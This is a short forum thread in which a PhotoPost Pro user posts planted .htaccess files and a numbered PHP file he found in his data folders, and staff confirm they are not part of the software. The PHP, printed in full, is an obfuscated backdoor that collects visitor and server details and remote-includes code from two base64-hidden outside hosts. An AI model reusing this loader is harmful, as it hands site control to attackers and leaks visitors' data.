PDA

View Full Version : .htaccess and numbered php file


paprman
October 23rd, 2007, 09:18 PM
I reciently upgraded to photopost pro 6.0. In the process I found in my data folder in every folder a htaccess file that refered 404 error page to a numbered php file (each folder had a different numbered php file). :eek:

I removed some, changed extensions on others and left a lot of them alone since I didn't know if they are part of Photopost Pro.

Here is an example of the htaccess file:
Options -MultiViews
ErrorDocument 404 //(site url)/photopost/data/213958.php


And the numbered php file it refers to:
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5waHB0YWdzLndz")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("c2hvcC52bWFya2V0LmluZm8=")."/?".$str);} ?>


Can anyone give me some info as to if I should delete all such files or they are OK and part of the scripts ??? B=0

Thanks,
Henry :confused:

Chuck S
October 23rd, 2007, 10:07 PM
They have nothing to do with our scripts you should remove them

paprman
October 24th, 2007, 06:31 AM
Thanks ! I didn't thinks they were part of Photopost but couldn't remember if they were from a previous install. Those files will be history very soon! Thanks again for the quick reply.

Chuck S
October 24th, 2007, 09:09 AM
not a problem buddy.